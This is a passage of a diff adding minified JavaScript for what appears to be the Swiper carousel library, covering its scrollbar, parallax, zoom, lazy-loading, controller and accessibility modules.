L.passiveListener && a.passiveListeners ? { + passive: true, + capture: false + } : false; + if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { + o.addEventListener(r.start, t.scrollbar.onDragStart, l); + b.document.addEventListener(r.move, t.scrollbar.onDragMove, l); + b.document.addEventListener(r.end, t.scrollbar.onDragEnd, u) + } else { + if (L.touch) { + o.addEventListener(n.start, t.scrollbar.onDragStart, l); + o.addEventListener(n.move, t.scrollbar.onDragMove, l); + o.addEventListener(n.end, t.scrollbar.onDragEnd, u) + } + if (a.simulateTouch && !ce.ios && !ce.android || a.simulateTouch && !L.touch && ce.ios) { + o.addEventListener("mousedown", t.scrollbar.onDragStart, l); + b.document.addEventListener("mousemove", t.scrollbar.onDragMove, l); + b.document.addEventListener("mouseup", t.scrollbar.onDragEnd, u) + } + } + }, + disableDraggable: function e() { + var t = this; + if (!t.params.scrollbar.el) return; + var i = t.scrollbar, + n = t.touchEvents, + r = t.touchEventsDesktop, + a = t.params; + var s = i.$el; + var o = s[0]; + var l = L.passiveListener && a.passiveListeners ? { + passive: false, + capture: false + } : false; + var u = L.passiveListener && a.passiveListeners ? { + passive: true, + capture: false + } : false; + if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { + o.removeEventListener(r.start, t.scrollbar.onDragStart, l); + b.document.removeEventListener(r.move, t.scrollbar.onDragMove, l); + b.document.removeEventListener(r.end, t.scrollbar.onDragEnd, u) + } else { + if (L.touch) { + o.removeEventListener(n.start, t.scrollbar.onDragStart, l); + o.removeEventListener(n.move, t.scrollbar.onDragMove, l); + o.removeEventListener(n.end, t.scrollbar.onDragEnd, u) + } + if (a.simulateTouch && !ce.ios && !ce.android || a.simulateTouch && !L.touch && ce.ios) { + o.removeEventListener("mousedown", t.scrollbar.onDragStart, l); + b.document.removeEventListener("mousemove", t.scrollbar.onDragMove, l); + b.document.removeEventListener("mouseup", t.scrollbar.onDragEnd, u) + } + } + }, + init: function e() { + var t = this; + if (!t.params.scrollbar.el) return; + var i = t.scrollbar, + n = t.$el; + var r = t.params.scrollbar; + var a = (0, y.$)(r.el); + if (t.params.uniqueNavElements && typeof r.el === "string" && a.length > 1 && n.find(r.el).length === 1) { + a = n.find(r.el) + } + var s = a.find("." + t.params.scrollbar.dragClass); + if (s.length === 0) { + s = (0, y.$)('
'); + a.append(s) + } + k.extend(i, { + $el: a, + el: a[0], + $dragEl: s, + dragEl: s[0] + }); + if (r.draggable) { + i.enableDraggable() + } + }, + destroy: function e() { + var t = this; + t.scrollbar.disableDraggable() + } + }; + var tt = { + name: "scrollbar", + params: { + scrollbar: { + el: null, + dragSize: "auto", + hide: false, + draggable: false, + snapOnRelease: true, + lockClass: "swiper-scrollbar-lock", + dragClass: "swiper-scrollbar-drag" + } + }, + create: function e() { + var t = this; + k.extend(t, { + scrollbar: { + init: et.init.bind(t), + destroy: et.destroy.bind(t), + updateSize: et.updateSize.bind(t), + setTranslate: et.setTranslate.bind(t), + setTransition: et.setTransition.bind(t), + enableDraggable: et.enableDraggable.bind(t), + disableDraggable: et.disableDraggable.bind(t), + setDragPosition: et.setDragPosition.bind(t), + onDragStart: et.onDragStart.bind(t), + onDragMove: et.onDragMove.bind(t), + onDragEnd: et.onDragEnd.bind(t), + isTouched: false, + timeout: null, + dragTimeout: null + } + }) + }, + on: { + init: function e() { + var t = this; + t.scrollbar.init(); + t.scrollbar.updateSize(); + t.scrollbar.setTranslate() + }, + update: function e() { + var t = this; + t.scrollbar.updateSize() + }, + resize: function e() { + var t = this; + t.scrollbar.updateSize() + }, + observerUpdate: function e() { + var t = this; + t.scrollbar.updateSize() + }, + setTranslate: function e() { + var t = this; + t.scrollbar.setTranslate() + }, + setTransition: function e(t) { + var i = this; + i.scrollbar.setTransition(t) + }, + destroy: function e() { + var t = this; + t.scrollbar.destroy() + } + } + }; + var it = { + setTransform: function e(t, i) { + var n = this; + var r = n.rtl; + var a = (0, y.$)(t); + var s = r ? -1 : 1; + var o = a.attr("data-swiper-parallax") || "0"; + var l = a.attr("data-swiper-parallax-x"); + var u = a.attr("data-swiper-parallax-y"); + var d = a.attr("data-swiper-parallax-scale"); + var f = a.attr("data-swiper-parallax-opacity"); + if (l || u) { + l = l || "0"; + u = u || "0" + } else if (n.isHorizontal()) { + l = o; + u = "0" + } else { + u = o; + l = "0" + } + if (l.indexOf("%") >= 0) { + l = parseInt(l, 10) * i * s + "%" + } else { + l = l * i * s + "px" + } + if (u.indexOf("%") >= 0) { + u = parseInt(u, 10) * i + "%" + } else { + u = u * i + "px" + } + if (typeof f !== "undefined" && f !== null) { + var c = f - (f - 1) * (1 - Math.abs(i)); + a[0].style.opacity = c + } + if (typeof d === "undefined" || d === null) { + a.transform("translate3d(" + l + ", " + u + ", 0px)") + } else { + var h = d - (d - 1) * (1 - Math.abs(i)); + a.transform("translate3d(" + l + ", " + u + ", 0px) scale(" + h + ")") + } + }, + setTranslate: function e() { + var t = this; + var i = t.$el, + n = t.slides, + r = t.progress, + a = t.snapGrid; + i.children("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function (e, i) { + t.parallax.setTransform(i, r) + }); + n.each(function (e, i) { + var n = i.progress; + if (t.params.slidesPerGroup > 1 && t.params.slidesPerView !== "auto") { + n += Math.ceil(e / 2) - r * (a.length - 1) + } + n = Math.min(Math.max(n, -1), 1); + (0, y.$)(i).find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function (e, i) { + t.parallax.setTransform(i, n) + }) + }) + }, + setTransition: function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; + var i = this; + var n = i.$el; + n.find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function (e, i) { + var n = (0, y.$)(i); + var r = parseInt(n.attr("data-swiper-parallax-duration"), 10) || t; + if (t === 0) r = 0; + n.transition(r) + }) + } + }; + var nt = { + name: "parallax", + params: { + parallax: { + enabled: false + } + }, + create: function e() { + var t = this; + k.extend(t, { + parallax: { + setTransform: it.setTransform.bind(t), + setTranslate: it.setTranslate.bind(t), + setTransition: it.setTransition.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (!t.params.parallax.enabled) return; + t.params.watchSlidesProgress = true; + t.originalParams.watchSlidesProgress = true + }, + init: function e() { + var t = this; + if (!t.params.parallax) return; + t.parallax.setTranslate() + }, + setTranslate: function e() { + var t = this; + if (!t.params.parallax) return; + t.parallax.setTranslate() + }, + setTransition: function e(t) { + var i = this; + if (!i.params.parallax) return; + i.parallax.setTransition(t) + } + } + }; + var rt = { + getDistanceBetweenTouches: function e(t) { + if (t.targetTouches.length < 2) return 1; + var i = t.targetTouches[0].pageX; + var n = t.targetTouches[0].pageY; + var r = t.targetTouches[1].pageX; + var a = t.targetTouches[1].pageY; + var s = Math.sqrt(Math.pow(r - i, 2) + Math.pow(a - n, 2)); + return s + }, + onGestureStart: function e(t) { + var i = this; + var n = i.params.zoom; + var r = i.zoom; + var a = r.gesture; + r.fakeGestureTouched = false; + r.fakeGestureMoved = false; + if (!L.gestures) { + if (t.type !== "touchstart" || t.type === "touchstart" && t.targetTouches.length < 2) { + return + } + r.fakeGestureTouched = true; + a.scaleStart = rt.getDistanceBetweenTouches(t) + } + if (!a.$slideEl || !a.$slideEl.length) { + a.$slideEl = (0, y.$)(t.target).closest(".swiper-slide"); + if (a.$slideEl.length === 0) a.$slideEl = i.slides.eq(i.activeIndex); + a.$imageEl = a.$slideEl.find("img, svg, canvas"); + a.$imageWrapEl = a.$imageEl.parent("." + n.containerClass); + a.maxRatio = a.$imageWrapEl.attr("data-swiper-zoom") || n.maxRatio; + if (a.$imageWrapEl.length === 0) { + a.$imageEl = undefined; + return + } + } + a.$imageEl.transition(0); + i.zoom.isScaling = true + }, + onGestureChange: function e(t) { + var i = this; + var n = i.params.zoom; + var r = i.zoom; + var a = r.gesture; + if (!L.gestures) { + if (t.type !== "touchmove" || t.type === "touchmove" && t.targetTouches.length < 2) { + return + } + r.fakeGestureMoved = true; + a.scaleMove = rt.getDistanceBetweenTouches(t) + } + if (!a.$imageEl || a.$imageEl.length === 0) return; + if (L.gestures) { + i.zoom.scale = t.scale * r.currentScale + } else { + r.scale = a.scaleMove / a.scaleStart * r.currentScale + } + if (r.scale > a.maxRatio) { + r.scale = a.maxRatio - 1 + Math.pow(r.scale - a.maxRatio + 1, .5) + } + if (r.scale < n.minRatio) { + r.scale = n.minRatio + 1 - Math.pow(n.minRatio - r.scale + 1, .5) + } + a.$imageEl.transform("translate3d(0,0,0) scale(" + r.scale + ")") + }, + onGestureEnd: function e(t) { + var i = this; + var n = i.params.zoom; + var r = i.zoom; + var a = r.gesture; + if (!L.gestures) { + if (!r.fakeGestureTouched || !r.fakeGestureMoved) { + return + } + if (t.type !== "touchend" || t.type === "touchend" && t.changedTouches.length < 2 && !ce.android) { + return + } + r.fakeGestureTouched = false; + r.fakeGestureMoved = false + } + if (!a.$imageEl || a.$imageEl.length === 0) return; + r.scale = Math.max(Math.min(r.scale, a.maxRatio), n.minRatio); + a.$imageEl.transition(i.params.speed).transform("translate3d(0,0,0) scale(" + r.scale + ")"); + r.currentScale = r.scale; + r.isScaling = false; + if (r.scale === 1) a.$slideEl = undefined + }, + onTouchStart: function e(t) { + var i = this; + var n = i.zoom; + var r = n.gesture, + a = n.image; + if (!r.$imageEl || r.$imageEl.length === 0) return; + if (a.isTouched) return; + if (ce.android) t.preventDefault(); + a.isTouched = true; + a.touchesStart.x = t.type === "touchstart" ? t.targetTouches[0].pageX : t.pageX; + a.touchesStart.y = t.type === "touchstart" ? t.targetTouches[0].pageY : t.pageY + }, + onTouchMove: function e(t) { + var i = this; + var n = i.zoom; + var r = n.gesture, + a = n.image, + s = n.velocity; + if (!r.$imageEl || r.$imageEl.length === 0) return; + i.allowClick = false; + if (!a.isTouched || !r.$slideEl) return; + if (!a.isMoved) { + a.width = r.$imageEl[0].offsetWidth; + a.height = r.$imageEl[0].offsetHeight; + a.startX = k.getTranslate(r.$imageWrapEl[0], "x") || 0; + a.startY = k.getTranslate(r.$imageWrapEl[0], "y") || 0; + r.slideWidth = r.$slideEl[0].offsetWidth; + r.slideHeight = r.$slideEl[0].offsetHeight; + r.$imageWrapEl.transition(0); + if (i.rtl) { + a.startX = -a.startX; + a.startY = -a.startY + } + } + var o = a.width * n.scale; + var l = a.height * n.scale; + if (o < r.slideWidth && l < r.slideHeight) return; + a.minX = Math.min(r.slideWidth / 2 - o / 2, 0); + a.maxX = -a.minX; + a.minY = Math.min(r.slideHeight / 2 - l / 2, 0); + a.maxY = -a.minY; + a.touchesCurrent.x = t.type === "touchmove" ? t.targetTouches[0].pageX : t.pageX; + a.touchesCurrent.y = t.type === "touchmove" ? t.targetTouches[0].pageY : t.pageY; + if (!a.isMoved && !n.isScaling) { + if (i.isHorizontal() && (Math.floor(a.minX) === Math.floor(a.startX) && a.touchesCurrent.x < a.touchesStart.x || Math.floor(a.maxX) === Math.floor(a.startX) && a.touchesCurrent.x > a.touchesStart.x)) { + a.isTouched = false; + return + } + if (!i.isHorizontal() && (Math.floor(a.minY) === Math.floor(a.startY) && a.touchesCurrent.y < a.touchesStart.y || Math.floor(a.maxY) === Math.floor(a.startY) && a.touchesCurrent.y > a.touchesStart.y)) { + a.isTouched = false; + return + } + } + t.preventDefault(); + t.stopPropagation(); + a.isMoved = true; + a.currentX = a.touchesCurrent.x - a.touchesStart.x + a.startX; + a.currentY = a.touchesCurrent.y - a.touchesStart.y + a.startY; + if (a.currentX < a.minX) { + a.currentX = a.minX + 1 - Math.pow(a.minX - a.currentX + 1, .8) + } + if (a.currentX > a.maxX) { + a.currentX = a.maxX - 1 + Math.pow(a.currentX - a.maxX + 1, .8) + } + if (a.currentY < a.minY) { + a.currentY = a.minY + 1 - Math.pow(a.minY - a.currentY + 1, .8) + } + if (a.currentY > a.maxY) { + a.currentY = a.maxY - 1 + Math.pow(a.currentY - a.maxY + 1, .8) + } + if (!s.prevPositionX) s.prevPositionX = a.touchesCurrent.x; + if (!s.prevPositionY) s.prevPositionY = a.touchesCurrent.y; + if (!s.prevTime) s.prevTime = Date.now(); + s.x = (a.touchesCurrent.x - s.prevPositionX) / (Date.now() - s.prevTime) / 2; + s.y = (a.touchesCurrent.y - s.prevPositionY) / (Date.now() - s.prevTime) / 2; + if (Math.abs(a.touchesCurrent.x - s.prevPositionX) < 2) s.x = 0; + if (Math.abs(a.touchesCurrent.y - s.prevPositionY) < 2) s.y = 0; + s.prevPositionX = a.touchesCurrent.x; + s.prevPositionY = a.touchesCurrent.y; + s.prevTime = Date.now(); + r.$imageWrapEl.transform("translate3d(" + a.currentX + "px, " + a.currentY + "px,0)") + }, + onTouchEnd: function e() { + var t = this; + var i = t.zoom; + var n = i.gesture, + r = i.image, + a = i.velocity; + if (!n.$imageEl || n.$imageEl.length === 0) return; + if (!r.isTouched || !r.isMoved) { + r.isTouched = false; + r.isMoved = false; + return + } + r.isTouched = false; + r.isMoved = false; + var s = 300; + var o = 300; + var l = a.x * s; + var u = r.currentX + l; + var d = a.y * o; + var f = r.currentY + d; + if (a.x !== 0) s = Math.abs((u - r.currentX) / a.x); + if (a.y !== 0) o = Math.abs((f - r.currentY) / a.y); + var c = Math.max(s, o); + r.currentX = u; + r.currentY = f; + var h = r.width * i.scale; + var m = r.height * i.scale; + r.minX = Math.min(n.slideWidth / 2 - h / 2, 0); + r.maxX = -r.minX; + r.minY = Math.min(n.slideHeight / 2 - m / 2, 0); + r.maxY = -r.minY; + r.currentX = Math.max(Math.min(r.currentX, r.maxX), r.minX); + r.currentY = Math.max(Math.min(r.currentY, r.maxY), r.minY); + n.$imageWrapEl.transition(c).transform("translate3d(" + r.currentX + "px, " + r.currentY + "px,0)") + }, + onTransitionEnd: function e() { + var t = this; + var i = t.zoom; + var n = i.gesture; + if (n.$slideEl && t.previousIndex !== t.activeIndex) { + n.$imageEl.transform("translate3d(0,0,0) scale(1)"); + n.$imageWrapEl.transform("translate3d(0,0,0)"); + n.$slideEl = undefined; + n.$imageEl = undefined; + n.$imageWrapEl = undefined; + i.scale = 1; + i.currentScale = 1 + } + }, + toggle: function e(t) { + var i = this; + var n = i.zoom; + if (n.scale && n.scale !== 1) { + n.out() + } else { + n.in(t) + } + }, + in: function e(t) { + var i = this; + var n = i.zoom; + var r = i.params.zoom; + var a = n.gesture, + s = n.image; + if (!a.$slideEl) { + a.$slideEl = i.clickedSlide ? (0, y.$)(i.clickedSlide) : i.slides.eq(i.activeIndex); + a.$imageEl = a.$slideEl.find("img, svg, canvas"); + a.$imageWrapEl = a.$imageEl.parent("." + r.containerClass) + } + if (!a.$imageEl || a.$imageEl.length === 0) return; + a.$slideEl.addClass("" + r.zoomedSlideClass); + var o = void 0; + var l = void 0; + var u = void 0; + var d = void 0; + var f = void 0; + var c = void 0; + var h = void 0; + var m = void 0; + var p = void 0; + var v = void 0; + var _ = void 0; + var g = void 0; + var b = void 0; + var w = void 0; + var M = void 0; + var k = void 0; + var L = void 0; + var T = void 0; + if (typeof s.touchesStart.x === "undefined" && t) { + o = t.type === "touchend" ? t.changedTouches[0].pageX : t.pageX; + l = t.type === "touchend" ? t.changedTouches[0].pageY : t.pageY + } else { + o = s.touchesStart.x; + l = s.touchesStart.y + } + n.scale = a.$imageWrapEl.attr("data-swiper-zoom") || r.maxRatio; + n.currentScale = a.$imageWrapEl.attr("data-swiper-zoom") || r.maxRatio; + if (t) { + L = a.$slideEl[0].offsetWidth; + T = a.$slideEl[0].offsetHeight; + u = a.$slideEl.offset().left; + d = a.$slideEl.offset().top; + f = u + L / 2 - o; + c = d + T / 2 - l; + p = a.$imageEl[0].offsetWidth; + v = a.$imageEl[0].offsetHeight; + _ = p * n.scale; + g = v * n.scale; + b = Math.min(L / 2 - _ / 2, 0); + w = Math.min(T / 2 - g / 2, 0); + M = -b; + k = -w; + h = f * n.scale; + m = c * n.scale; + if (h < b) { + h = b + } + if (h > M) { + h = M + } + if (m < w) { + m = w + } + if (m > k) { + m = k + } + } else { + h = 0; + m = 0 + } + a.$imageWrapEl.transition(300).transform("translate3d(" + h + "px, " + m + "px,0)"); + a.$imageEl.transition(300).transform("translate3d(0,0,0) scale(" + n.scale + ")") + }, + out: function e() { + var t = this; + var i = t.zoom; + var n = t.params.zoom; + var r = i.gesture; + if (!r.$slideEl) { + r.$slideEl = t.clickedSlide ? (0, y.$)(t.clickedSlide) : t.slides.eq(t.activeIndex); + r.$imageEl = r.$slideEl.find("img, svg, canvas"); + r.$imageWrapEl = r.$imageEl.parent("." + n.containerClass) + } + if (!r.$imageEl || r.$imageEl.length === 0) return; + i.scale = 1; + i.currentScale = 1; + r.$imageWrapEl.transition(300).transform("translate3d(0,0,0)"); + r.$imageEl.transition(300).transform("translate3d(0,0,0) scale(1)"); + r.$slideEl.removeClass("" + n.zoomedSlideClass); + r.$slideEl = undefined + }, + enable: function e() { + var t = this; + var i = t.zoom; + if (i.enabled) return; + i.enabled = true; + var n = t.touchEvents.start === "touchstart" && L.passiveListener && t.params.passiveListeners ? { + passive: true, + capture: false + } : false; + if (L.gestures) { + t.$wrapperEl.on("gesturestart", ".swiper-slide", i.onGestureStart, n); + t.$wrapperEl.on("gesturechange", ".swiper-slide", i.onGestureChange, n); + t.$wrapperEl.on("gestureend", ".swiper-slide", i.onGestureEnd, n) + } else if (t.touchEvents.start === "touchstart") { + t.$wrapperEl.on(t.touchEvents.start, ".swiper-slide", i.onGestureStart, n); + t.$wrapperEl.on(t.touchEvents.move, ".swiper-slide", i.onGestureChange, n); + t.$wrapperEl.on(t.touchEvents.end, ".swiper-slide", i.onGestureEnd, n) + } + t.$wrapperEl.on(t.touchEvents.move, "." + t.params.zoom.containerClass, i.onTouchMove) + }, + disable: function e() { + var t = this; + var i = t.zoom; + if (!i.enabled) return; + t.zoom.enabled = false; + var n = t.touchEvents.start === "touchstart" && L.passiveListener && t.params.passiveListeners ? { + passive: true, + capture: false + } : false; + if (L.gestures) { + t.$wrapperEl.off("gesturestart", ".swiper-slide", i.onGestureStart, n); + t.$wrapperEl.off("gesturechange", ".swiper-slide", i.onGestureChange, n); + t.$wrapperEl.off("gestureend", ".swiper-slide", i.onGestureEnd, n) + } else if (t.touchEvents.start === "touchstart") { + t.$wrapperEl.off(t.touchEvents.start, ".swiper-slide", i.onGestureStart, n); + t.$wrapperEl.off(t.touchEvents.move, ".swiper-slide", i.onGestureChange, n); + t.$wrapperEl.off(t.touchEvents.end, ".swiper-slide", i.onGestureEnd, n) + } + t.$wrapperEl.off(t.touchEvents.move, "." + t.params.zoom.containerClass, i.onTouchMove) + } + }; + var at = { + name: "zoom", + params: { + zoom: { + enabled: false, + maxRatio: 3, + minRatio: 1, + toggle: true, + containerClass: "swiper-zoom-container", + zoomedSlideClass: "swiper-slide-zoomed" + } + }, + create: function e() { + var t = this; + var i = { + enabled: false, + scale: 1, + currentScale: 1, + isScaling: false, + gesture: { + $slideEl: undefined, + slideWidth: undefined, + slideHeight: undefined, + $imageEl: undefined, + $imageWrapEl: undefined, + maxRatio: 3 + }, + image: { + isTouched: undefined, + isMoved: undefined, + currentX: undefined, + currentY: undefined, + minX: undefined, + minY: undefined, + maxX: undefined, + maxY: undefined, + width: undefined, + height: undefined, + startX: undefined, + startY: undefined, + touchesStart: {}, + touchesCurrent: {} + }, + velocity: { + x: undefined, + y: undefined, + prevPositionX: undefined, + prevPositionY: undefined, + prevTime: undefined + } + }; + "onGestureStart onGestureChange onGestureEnd onTouchStart onTouchMove onTouchEnd onTransitionEnd toggle enable disable in out".split(" ").forEach(function (e) { + i[e] = rt[e].bind(t) + }); + k.extend(t, { + zoom: i + }) + }, + on: { + init: function e() { + var t = this; + if (t.params.zoom.enabled) { + t.zoom.enable() + } + }, + destroy: function e() { + var t = this; + t.zoom.disable() + }, + touchStart: function e(t) { + var i = this; + if (!i.zoom.enabled) return; + i.zoom.onTouchStart(t) + }, + touchEnd: function e(t) { + var i = this; + if (!i.zoom.enabled) return; + i.zoom.onTouchEnd(t) + }, + doubleTap: function e(t) { + var i = this; + if (i.params.zoom.enabled && i.zoom.enabled && i.params.zoom.toggle) { + i.zoom.toggle(t) + } + }, + transitionEnd: function e() { + var t = this; + if (t.zoom.enabled && t.params.zoom.enabled) { + t.zoom.onTransitionEnd() + } + } + } + }; + var st = { + loadInSlide: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + var n = this; + var r = n.params.lazy; + if (typeof t === "undefined") return; + if (n.slides.length === 0) return; + var a = n.virtual && n.params.virtual.enabled; + var s = a ? n.$wrapperEl.children("." + n.params.slideClass + '[data-swiper-slide-index="' + t + '"]') : n.slides.eq(t); + var o = s.find("." + r.elementClass + ":not(." + r.loadedClass + "):not(." + r.loadingClass + ")"); + if (s.hasClass(r.elementClass) && !s.hasClass(r.loadedClass) && !s.hasClass(r.loadingClass)) { + o = o.add(s[0]) + } + if (o.length === 0) return; + o.each(function (e, t) { + var a = (0, y.$)(t); + a.addClass(r.loadingClass); + var o = a.attr("data-background"); + var l = a.attr("data-src"); + var u = a.attr("data-srcset"); + var d = a.attr("data-sizes"); + n.loadImage(a[0], l || o, u, d, false, function () { + if (typeof n === "undefined" || n === null || !n || n && !n.params || n.destroyed) return; + if (o) { + a.css("background-image", 'url("' + o + '")'); + a.removeAttr("data-background") + } else { + if (u) { + a.attr("srcset", u); + a.removeAttr("data-srcset") + } + if (d) { + a.attr("sizes", d); + a.removeAttr("data-sizes") + } + if (l) { + a.attr("src", l); + a.removeAttr("data-src") + } + } + a.addClass(r.loadedClass).removeClass(r.loadingClass); + s.find("." + r.preloaderClass).remove(); + if (n.params.loop && i) { + var e = s.attr("data-swiper-slide-index"); + if (s.hasClass(n.params.slideDuplicateClass)) { + var t = n.$wrapperEl.children('[data-swiper-slide-index="' + e + '"]:not(.' + n.params.slideDuplicateClass + ")"); + n.lazy.loadInSlide(t.index(), false) + } else { + var f = n.$wrapperEl.children("." + n.params.slideDuplicateClass + '[data-swiper-slide-index="' + e + '"]'); + n.lazy.loadInSlide(f.index(), false) + } + } + n.emit("lazyImageReady", s[0], a[0]) + }); + n.emit("lazyImageLoad", s[0], a[0]) + }) + }, + load: function e() { + var t = this; + var i = t.$wrapperEl, + n = t.params, + r = t.slides, + a = t.activeIndex; + var s = t.virtual && n.virtual.enabled; + var o = n.lazy; + var l = n.slidesPerView; + if (l === "auto") { + l = 0 + } + + function u(e) { + if (s) { + if (i.children("." + n.slideClass + '[data-swiper-slide-index="' + e + '"]').length) { + return true + } + } else if (r[e]) return true; + return false + } + + function d(e) { + if (s) { + return (0, y.$)(e).attr("data-swiper-slide-index") + } + return (0, y.$)(e).index() + } + if (!t.lazy.initialImageLoaded) t.lazy.initialImageLoaded = true; + if (t.params.watchSlidesVisibility) { + i.children("." + n.slideVisibleClass).each(function (e, i) { + var n = s ? (0, y.$)(i).attr("data-swiper-slide-index") : (0, y.$)(i).index(); + t.lazy.loadInSlide(n) + }) + } else if (l > 1) { + for (var f = a; f < a + l; f += 1) { + if (u(f)) t.lazy.loadInSlide(f) + } + } else { + t.lazy.loadInSlide(a) + } + if (o.loadPrevNext) { + if (l > 1 || o.loadPrevNextAmount && o.loadPrevNextAmount > 1) { + var c = o.loadPrevNextAmount; + var h = l; + var m = Math.min(a + h + Math.max(c, h), r.length); + var p = Math.max(a - Math.max(h, c), 0); + for (var v = a + l; v < m; v += 1) { + if (u(v)) t.lazy.loadInSlide(v) + } + for (var _ = p; _ < a; _ += 1) { + if (u(_)) t.lazy.loadInSlide(_) + } + } else { + var g = i.children("." + n.slideNextClass); + if (g.length > 0) t.lazy.loadInSlide(d(g)); + var b = i.children("." + n.slidePrevClass); + if (b.length > 0) t.lazy.loadInSlide(d(b)) + } + } + } + }; + var ot = { + name: "lazy", + params: { + lazy: { + enabled: false, + loadPrevNext: false, + loadPrevNextAmount: 1, + loadOnTransitionStart: false, + elementClass: "swiper-lazy", + loadingClass: "swiper-lazy-loading", + loadedClass: "swiper-lazy-loaded", + preloaderClass: "swiper-lazy-preloader" + } + }, + create: function e() { + var t = this; + k.extend(t, { + lazy: { + initialImageLoaded: false, + load: st.load.bind(t), + loadInSlide: st.loadInSlide.bind(t) + } + }) + }, + on: { + beforeInit: function e() { + var t = this; + if (t.params.lazy.enabled && t.params.preloadImages) { + t.params.preloadImages = false + } + }, + init: function e() { + var t = this; + if (t.params.lazy.enabled && !t.params.loop && t.params.initialSlide === 0) { + t.lazy.load() + } + }, + scroll: function e() { + var t = this; + if (t.params.freeMode && !t.params.freeModeSticky) { + t.lazy.load() + } + }, + resize: function e() { + var t = this; + if (t.params.lazy.enabled) { + t.lazy.load() + } + }, + scrollbarDragMove: function e() { + var t = this; + if (t.params.lazy.enabled) { + t.lazy.load() + } + }, + transitionStart: function e() { + var t = this; + if (t.params.lazy.enabled) { + if (t.params.lazy.loadOnTransitionStart || !t.params.lazy.loadOnTransitionStart && !t.lazy.initialImageLoaded) { + t.lazy.load() + } + } + }, + transitionEnd: function e() { + var t = this; + if (t.params.lazy.enabled && !t.params.lazy.loadOnTransitionStart) { + t.lazy.load() + } + } + } + }; + var lt = { + LinearSpline: function e(t, i) { + var n = function e() { + var t = void 0; + var i = void 0; + var n = void 0; + return function (e, r) { + i = -1; + t = e.length; + while (t - i > 1) { + n = t + i >> 1; + if (e[n] <= r) { + i = n + } else { + t = n + } + } + return t + } + }(); + this.x = t; + this.y = i; + this.lastIndex = t.length - 1; + var r = void 0; + var a = void 0; + this.interpolate = function e(t) { + if (!t) return 0; + a = n(this.x, t); + r = a - 1; + return (t - this.x[r]) * (this.y[a] - this.y[r]) / (this.x[a] - this.x[r]) + this.y[r] + }; + return this + }, + getInterpolateFunction: function e(t) { + var i = this; + if (!i.controller.spline) { + i.controller.spline = i.params.loop ? new lt.LinearSpline(i.slidesGrid, t.slidesGrid) : new lt.LinearSpline(i.snapGrid, t.snapGrid) + } + }, + setTranslate: function e(t, i) { + var n = this; + var r = n.controller.control; + var a = void 0; + var s = void 0; + + function o(e) { + var t = n.rtlTranslate ? -n.translate : n.translate; + if (n.params.controller.by === "slide") { + n.controller.getInterpolateFunction(e); + s = -n.controller.spline.interpolate(-t) + } + if (!s || n.params.controller.by === "container") { + a = (e.maxTranslate() - e.minTranslate()) / (n.maxTranslate() - n.minTranslate()); + s = (t - n.minTranslate()) * a + e.minTranslate() + } + if (n.params.controller.inverse) { + s = e.maxTranslate() - s + } + e.updateProgress(s); + e.setTranslate(s, n); + e.updateActiveIndex(); + e.updateSlidesClasses() + } + if (Array.isArray(r)) { + for (var l = 0; l < r.length; l += 1) { + if (r[l] !== i && r[l] instanceof He) { + o(r[l]) + } + } + } else if (r instanceof He && i !== r) { + o(r) + } + }, + setTransition: function e(t, i) { + var n = this; + var r = n.controller.control; + var a = void 0; + + function s(e) { + e.setTransition(t, n); + if (t !== 0) { + e.transitionStart(); + if (e.params.autoHeight) { + k.nextTick(function () { + e.updateAutoHeight() + }) + } + e.$wrapperEl.transitionEnd(function () { + if (!r) return; + if (e.params.loop && n.params.controller.by === "slide") { + e.loopFix() + } + e.transitionEnd() + }) + } + } + if (Array.isArray(r)) { + for (a = 0; a < r.length; a += 1) { + if (r[a] !== i && r[a] instanceof He) { + s(r[a]) + } + } + } else if (r instanceof He && i !== r) { + s(r) + } + } + }; + var ut = { + name: "controller", + params: { + controller: { + control: undefined, + inverse: false, + by: "slide" + } + }, + create: function e() { + var t = this; + k.extend(t, { + controller: { + control: t.params.controller.control, + getInterpolateFunction: lt.getInterpolateFunction.bind(t), + setTranslate: lt.setTranslate.bind(t), + setTransition: lt.setTransition.bind(t) + } + }) + }, + on: { + update: function e() { + var t = this; + if (!t.controller.control) return; + if (t.controller.spline) { + t.controller.spline = undefined; + delete t.controller.spline + } + }, + resize: function e() { + var t = this; + if (!t.controller.control) return; + if (t.controller.spline) { + t.controller.spline = undefined; + delete t.controller.spline + } + }, + observerUpdate: function e() { + var t = this; + if (!t.controller.control) return; + if (t.controller.spline) { + t.controller.spline = undefined; + delete t.controller.spline + } + }, + setTranslate: function e(t, i) { + var n = this; + if (!n.controller.control) return; + n.controller.setTranslate(t, i) + }, + setTransition: function e(t, i) { + var n = this; + if (!n.controller.control) return; + n.controller.setTransition(t, i) + } + } + }; + var dt = { + makeElFocusable: function e(t) { + t.attr("tabIndex", "0"); + return t + }, + addElRole: function e(t, i) { + t.attr("role", i); + return t + }, + addElLabel: function e(t, i) { + t.attr("aria-label", i); + return t + }, + disableEl: function e(t) { + t.attr("aria-disabled", true); + return t + }, + enableEl: function e(t) { + t.attr("aria-disabled", false); + return t + }, + onEnterKey: function e(t) { + var i = this; + var n = i.params.a11y; + if (t.keyCode !== 13) return; + var r = (0, y.$)(t.target); + if (i.navigation && i.navigation.$nextEl && r.is(i.navigation.$nextEl)) { + if (!(i.isEnd && !i.params.loop)) { + i.slideNext() + } + if (i.isEnd) { + i.a11y.notify(n.lastSlideMessage) + } else { + i.a11y.notify(n.nextSlideMessage) + } + } + if (i.navigation && i.navigation.$prevEl && r.is(i.navigation.$prevEl)) { + if (!(i.isBeginning && !i.params.loop)) { + i.slidePrev() + } + if (i.isBeginning) { + i.a11y.notify(n.firstSlideMessage) + } else { + i.a11y.notify(n.prevSlideMessage) + } + } + if (i.pagination && r.is("." + i.params.pagination.bulletClass)) { + r[0].click() + } + }, + notify: function e(t) { + var i = this; + var n = i.a11y.liveRegion; + if (n.length === 0) return; + n.html(""); + n.html(t) + }, + updateNavigation: function e() { + var t = this; + if (t.params.loop) return; + var i = t.navigation, + n = i.$nextEl, + r = i.$prevEl; + if (r && r.length > 0) { + if (t.isBeginning) { + 